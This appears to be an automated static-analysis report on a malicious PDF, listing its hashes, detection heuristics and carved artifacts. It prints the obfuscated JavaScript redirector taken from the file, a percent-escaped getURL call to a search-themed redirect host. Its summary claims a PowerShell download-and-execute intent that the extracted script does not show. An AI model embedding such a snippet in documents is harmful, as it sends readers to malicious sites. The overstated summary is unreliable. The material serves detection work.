Malicious PDF — malware analysis report

Static analysis result for SHA-256 24043d0238fd6974…

MALICIOUS

PDF

53.5 KB Created: 2012-09-11 16:54:19 +04:00 Authoring application: Wordpress.com (via mPDF 5.0) First seen: 2020-09-24
MD5: 3d514d31f76d87945447ced25cc8159a SHA-1: c8ff69c72aebef8ec4bbd55fc2899eb5c8124efc SHA-256: 24043d0238fd69746086d751d9a1b86bf95b7808b098dec3e4bf3031c107a4d3
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. Static triage also flagged this JavaScript for obfuscation and identified it as a suspicious extracted artifact. The JavaScript's likely intent is to download and execute a secondary payload from a remote source, which is a common technique for malware delivery. Due to the obfuscation, the exact download URL or execution method could not be definitively determined.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9845

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Search-themed obfuscated getURL redirector campaign critical PDF_JS_SEARCH_REDIRECTOR_GETURL_CAMPAIGN
    PDF document-level JavaScript automatically opens a known search-themed redirector campaign URL from a percent-escaped getURL() target. This is malicious redirect-carrier behavior, not evidence of a PDF parser CVE.
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://globalsearchings.com/in.cgi?16 Referenced by PDF JavaScript
    • http://dejavu.sourceforge.netIn PDF document text
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn PDF document text

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0036_000.js pdf-javascript-stream PDF /JS object 36 at offset 0xCD4E 136 bytes
SHA-256: b549138dc1b00ea70ede2671460e6cd42d9e1c3bb812bf9653550df0951c4991
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%67%6c%6f%62%61%6c%73%65%61%72%63%68%69%6e%67%73%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%36'))
stream_003_off000012f0.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x12F0 17756 bytes
SHA-256: ded1520fd68b91798ef4502ba393be29e6762be445da6319489229b957e57958
font_01_sfnt_off00004102.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x4102 17892 bytes
SHA-256: a8ed3909966b10c026f46212f55dce68c94667ce1ac039797d3ebfa1d644dacf
font_02_sfnt_off00006f42.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x6F42 18720 bytes
SHA-256: 4ee4e439b16220e78b319060a3d86ba95cd4b8614522dd4fa1d4df274793c516
font_03_sfnt_off0000a1cf.bin pdf-font-stream PDF embedded font (sfnt) at offset 0xA1CF 18756 bytes
SHA-256: e3eeacc5b1f780160b253f248c40fb29e5cb6416f62dd9413712ea70c37f26c9

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